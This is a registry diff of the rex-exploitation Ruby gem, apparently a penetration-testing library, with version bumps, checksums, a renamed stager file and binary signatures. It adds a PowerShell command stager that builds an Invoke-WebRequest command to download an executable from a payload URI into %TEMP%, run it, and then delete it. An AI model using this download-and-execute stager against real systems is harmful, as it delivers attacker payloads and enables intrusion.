rex-exploitation 0.1.23 → 0.1.24
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +0 -0
- data/lib/rex/exploitation/cmdstager.rb +2 -1
- data/lib/rex/exploitation/cmdstager/{lwp-request.rb → lwprequest.rb} +0 -0
- data/lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb +46 -0
- data/lib/rex/exploitation/version.rb +1 -1
- metadata +3 -2
- metadata.gz.sig +3 -1
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 7e7f58559246a695c82c7e75987d387012f51bc3b96ef997ae3ba2b681386892
|
4
|
+
data.tar.gz: 99ba7aa87ca714dad9afff9d6a0148c50db03fe2267360ee628b8514aebfb8ac
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: cf0de782ca24c14ff1e2289abdb10d0132fa8d25b234bd4cb360c894a0a5c8025d76e94dc2198bb38af21e97b9a2a376d53a5e26e6db85f4432bab884b2edf3a
|
7
|
+
data.tar.gz: 9e9130b9e5ffd85aed30315a2a98249491a7b88d0f215171bc963a967bf77540ef5fb95040eb3436eee1a232bfecf1fd5460e0314e6972edb9b4e52f1011d684
|
checksums.yaml.gz.sig
CHANGED
Binary file
|
data.tar.gz.sig
CHANGED
Binary file
|
@@ -12,4 +12,5 @@ require 'rex/exploitation/cmdstager/printf'
|
|
12
12
|
require 'rex/exploitation/cmdstager/wget'
|
13
13
|
require 'rex/exploitation/cmdstager/curl'
|
14
14
|
require 'rex/exploitation/cmdstager/fetch'
|
15
|
-
require 'rex/exploitation/cmdstager/
|
15
|
+
require 'rex/exploitation/cmdstager/lwprequest'
|
16
|
+
require 'rex/exploitation/cmdstager/psh_invokewebrequest'
|
File without changes
|
@@ -0,0 +1,46 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
class Rex::Exploitation::CmdStagerPSHInvokeWebRequest < Rex::Exploitation::CmdStagerBase
|
4
|
+
|
5
|
+
def http?
|
6
|
+
true
|
7
|
+
end
|
8
|
+
|
9
|
+
def user_agent
|
10
|
+
/WindowsPowerShell/
|
11
|
+
end
|
12
|
+
|
13
|
+
def generate(opts = {})
|
14
|
+
if opts[:payload_uri].nil?
|
15
|
+
raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
|
16
|
+
end
|
17
|
+
|
18
|
+
opts[:temp] ||= '%TEMP%'
|
19
|
+
opts[:file] ||= "#{Rex::Text.rand_text_alpha(8)}.exe"
|
20
|
+
@payload_path = "#{opts[:temp]}\\#{opts[:file]}"
|
21
|
+
|
22
|
+
super
|
23
|
+
end
|
24
|
+
|
25
|
+
def generate_cmds_payload(opts)
|
26
|
+
# NOTE: This requires PowerShell >= 3.0
|
27
|
+
cmd = "Invoke-WebRequest -OutFile #{@payload_path} #{opts[:payload_uri]}"
|
28
|
+
|
29
|
+
# TODO: Craft a better command line, probably with encoding
|
30
|
+
["powershell.exe -c #{cmd}"]
|
31
|
+
end
|
32
|
+
|
33
|
+
def generate_cmds_decoder(opts)
|
34
|
+
cmds = []
|
35
|
+
|
36
|
+
cmds << @payload_path
|
37
|
+
cmds << "del #{@payload_path}" unless opts[:nodelete]
|
38
|
+
|
39
|
+
cmds
|
40
|
+
end
|
41
|
+
|
42
|
+
def cmd_concat_operator
|
43
|
+
' & '
|
44
|
+
end
|
45
|
+
|
46
|
+
end
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: rex-exploitation
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.1.
|
4
|
+
version: 0.1.24
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- David Maloney
|
@@ -263,8 +263,9 @@ files:
|
|
263
263
|
- lib/rex/exploitation/cmdstager/debug_write.rb
|
264
264
|
- lib/rex/exploitation/cmdstager/echo.rb
|
265
265
|
- lib/rex/exploitation/cmdstager/fetch.rb
|
266
|
-
- lib/rex/exploitation/cmdstager/
|
266
|
+
- lib/rex/exploitation/cmdstager/lwprequest.rb
|
267
267
|
- lib/rex/exploitation/cmdstager/printf.rb
|
268
|
+
- lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
|
268
269
|
- lib/rex/exploitation/cmdstager/tftp.rb
|
269
270
|
- lib/rex/exploitation/cmdstager/vbs.rb
|
270
271
|
- lib/rex/exploitation/cmdstager/wget.rb
|
metadata.gz.sig
CHANGED
@@ -1 +1,3 @@
|
|
1
|
-
|
1
|
+
����^�Cz
|
2
|
+
���6@B�Q�I�.e]����f�� ��V�!{��R�������U#����
|
3
|
+
8��jv4d9� d-�B���$1t3���!�SWrﰏ�'/�y3�'�MBc0`�g����z��Q�6m;�b�w�j'��\�`8]���,bu�?��P�_�8Q"?�z�
|